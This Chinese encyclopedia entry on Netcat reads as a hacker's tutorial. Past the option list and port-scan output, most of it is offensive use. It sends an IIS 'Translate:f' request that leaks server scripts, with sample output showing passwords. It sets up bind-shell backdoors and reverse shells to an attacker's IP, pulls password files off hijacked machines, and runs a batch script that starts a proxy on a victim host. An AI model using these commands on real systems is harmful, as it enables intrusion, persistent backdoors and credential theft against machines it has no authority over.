请输入您要查询的百科知识:

 

词条 Netcat
释义

在网络工具中有“瑞士军刀”美誉的NetCat, 在我们用了N年了至今仍是爱不释手。因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少)。现在就我的一些使用心得和一些帮助文档中,做一些介绍与大家共勉。

§ 1、 了解NC的用法

命令:nc –h

技巧:win98用户可以在autoexec.bat加入path=nc的路径,win2000用户在环境变量中加入path中,linux含有这个命令(redhat)

§ 1、基本使用

想要连接到某处: nc 【-options】 hostname port【s】 【ports】 ...

绑定端口等待连接: nc -l -p port 【-options】 【hostname】 【port】

参数:

-e prog 程序重定向,一旦连接,就执行 【危险!!】

-g gateway source-routing hop point【s】, up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

其中端口号可以指定一个或者用lo-hi式的指定范围。

例如:扫描端口

tcp扫描

C:\c>nc -v -z -w2 192.168.0.80 1-140

net 【192.168.0.80】 140 (?)

net 【192.168.0.80】 139 (netbios-ssn) open

net 【192.168.0.80】 138 (?)

net 【192.168.0.80】 137 (netbios-ns)

net 【192.168.0.80】 136 (?)

net 【192.168.0.80】 135 (epmap) open

net 【192.168.0.80】 81 (?) open

net 【192.168.0.80】 80 (http) open

net 【192.168.0.80】 79 (finger)

net 【192.168.0.80】 25 (smtp) open

net 【192.168.0.80】 24 (?)

net 【192.168.0.80】 23 (telnet)

net 【192.168.0.80】 21 (ftp)

udp扫描

C:\c>nc -u -v -z -w2 192.168.0.80 1-140

net 【192.168.0.80】 140 (?) open

net 【192.168.0.80】 139 (?) open

net 【192.168.0.80】 138 (netbios-dgm) open

net 【192.168.0.80】 137 (netbios-ns) open

net 【192.168.0.80】 54 (?) open

net 【192.168.0.80】 53 (domain) open

net 【192.168.0.80】 38 (?) open

net 【192.168.0.80】 37 (time) open

net 【192.168.0.80】 7 (echo) open

二、高级应用

1.Window用法:

(1)IE的MIME欺骗

www.try2hack..nl(是一个让初学黑客技术的人去做实验的站点)

打开这个页面,有http://www.try2hack.nl/cgi-bin/level7.pl页面(这个网站提供了黑客的8关,过了这8关证明你开始入门了),这个页面告诉我们的浏览器不是 IE6.72,我们的操作系统不是LIUNX,我们不是从www.microsoft.com/ms.htm重定向链接过去的,有病阿(这是一个题目呀,要慢慢研究),linux有IE6.72? 微软会在它的页面上放http://www.try2hack.nl/cgi-bin/level7.pl的链接?看看页面的源代码,level7.pl是在服务器端 执行的perl脚本,根本无法看到,还是研究一下IE5和它通信时都告诉了它什么,抓包,我们会发现,我们的IE5告诉对方: 我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。。。。哈哈,level7.pl这个cgi应该是根据这些信息知道我们不是它要求的 客户,嘿嘿,需要欺骗对方才行,用军刀来可以实现,如下做就可以哄对方了:

nc www.try2hack.nl 80 【enter】

GET /cgi-bin/level7.pl HTTP/1.1 【enter】

Accept: image/gif, image/x-xbitmap, application/msword, */* 【enter】

Refererhttp://www.microsoft.com/ms.htm 【enter】

Accept-Language: zh-cn 【enter】

Accept-Encoding: gzip, deflate 【enter】

User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986) 【enter】

Host: www.try2hack.nl 【enter】

Connection:

Keep-Alive 【enter】

注意,如果出现HTTP 400时,说明你输入格式有问题,出现httpd 200回应时,就给出结果了:

哈哈!赶快去实现一下(实践是成功之母)

(2)IIS 5 “Translate:f” 显示代码脆弱点

Translate:f脆弱点的机制:发送一个畸形的HTTP GET 请求给服务器方一个可执行脚本或相关文件类型(例如.ASP或者global.asa)。这些文件是用于服务器上运行的,绝不会到客户机上去,而这个请求就会导致IIS将这种文件的内容发送到远端的客户机上,而不是在服务器上运行。这种畸形的HTTP GET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f,并有一个反斜杠”\\”附于URL之后。下面就有这样的一个例子(【CRLF】代表回车字符)

注意 GET global.asa 后的反斜杠以及Translate:f头信息。

GET /global.asa\\ HTTP/1.0

Host:192.168.0.1

User-Agent:SensePostData

Content-Type:application/x-www-form-urlencoded

Translate:f

【CRLF】

【CRLF】

将以上内容保存在一个文本文件中(例如example.txt)

然后向一个有这个漏洞的服务器发送

c:\\>type example.txt | nc –nvv 192.168.0.80 80

(UNKNOWN) 【192.168.0.80】 80 (?) open

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Tue, 03 Dec 2002 08:50:46 GMT

Content-Type: application/octet-stream

Content-Length: 2790

ETag: “0448299fcd6df1:bea”

Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT

Accept-Ranges: bytes

Cache-Control: no-cache

(“ConnectionText”) = “Dsn=ph;UID=myman;Password=mygod)”

(“LDAPServer”) = “LADP://ldap.netloafer.com:389”

(“LDAPUserID”) = “CN=Admin”

(“LDAPPwd”) = “mygod”

………

3.1.端口的刺探:

nc -vv ip port

RIVER 【192.168.0.198】 19190 (?) open //显示是否开放open

3.2.扫描器

nc -vv -w 5 ip port-port port

nc -vv -z ip port-port port

这样扫描会留下大量的痕迹,系统管理员会额外小心

3.3. 后门

victim machine: //受害者的机器

nc -l -p port -e cmd.exe //win2000

nc -l -p port -e /bin/sh //unix,linux

attacker machine: //攻击者的机器.

nc ip -p port //连接victim_IP,然后得到一个shell。

3.4.反向连接

attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.

//或者wollf的反向连接.

nc -vv -l -p port

victim machine:

nc -e cmd.exe attacker ip -p port

nc -e /bin/sh attacker ip -p port

或者:

attacker machine:

nc -vv -l -p port1 /*用于输入*/

nc -vv -l -p prot2 /*用于显示*/

victim machine:

nc attacker_ip port1 | cmd.exe | nc attacker_ip port2

nc attacker_ip port1 | /bin/sh | nc attacker_ip port2

139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)

这样就可以保证nc.exe优先于NETBIOS。

3.5.传送文件:

3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.

nc -d -l -p port < path\\filedest

/*attacker machine*/ 可以shell执行

nc -vv attacker_ip port > path\\file.txt /*victim machine*/ 需要Ctrl+C退出

//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.

3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡

nc -vv -l -p port > path\\file.txt

/*victim machine*/ 需要Ctrl+C退出

nc -d victim_ip port < path\\filedest   /*attacker machine*/ 可以shell执行

//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.

结论: 可以传输ascii,bin文件.可以传输程序文件.

问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .

或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?

3.6 端口数据抓包.

nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15

< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error

< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr

< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...

< 00000084 83 00 00 01 8f # .....

3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个.

nc victim_ip port < path\\file.cmd   /*victim machine*/ 显示执行过程.

nc -vv victim_ip port < path\\file.cmd   /*victim machine*/ 显示执行过程.

nc -d victim_ip port < path\\file.cmd 安静模式.

_______________file.cmd________________________

password

cd %windir%

echo 【】=【%windir%】

c:

cd \\

md test

cd /d %windir%\\system32\\

net stop sksockserver

snake.exe -config port 11111

net start sksockserver

exit

_______________file.cmd__END___________________

随便看

 

百科全书收录594082条中文百科知识,基本涵盖了大多数领域的百科知识,是一部内容开放、自由的电子版百科全书。

 

Copyright © 2004-2023 Cnenc.net All Rights Reserved
更新时间:2025/1/19 12:22:01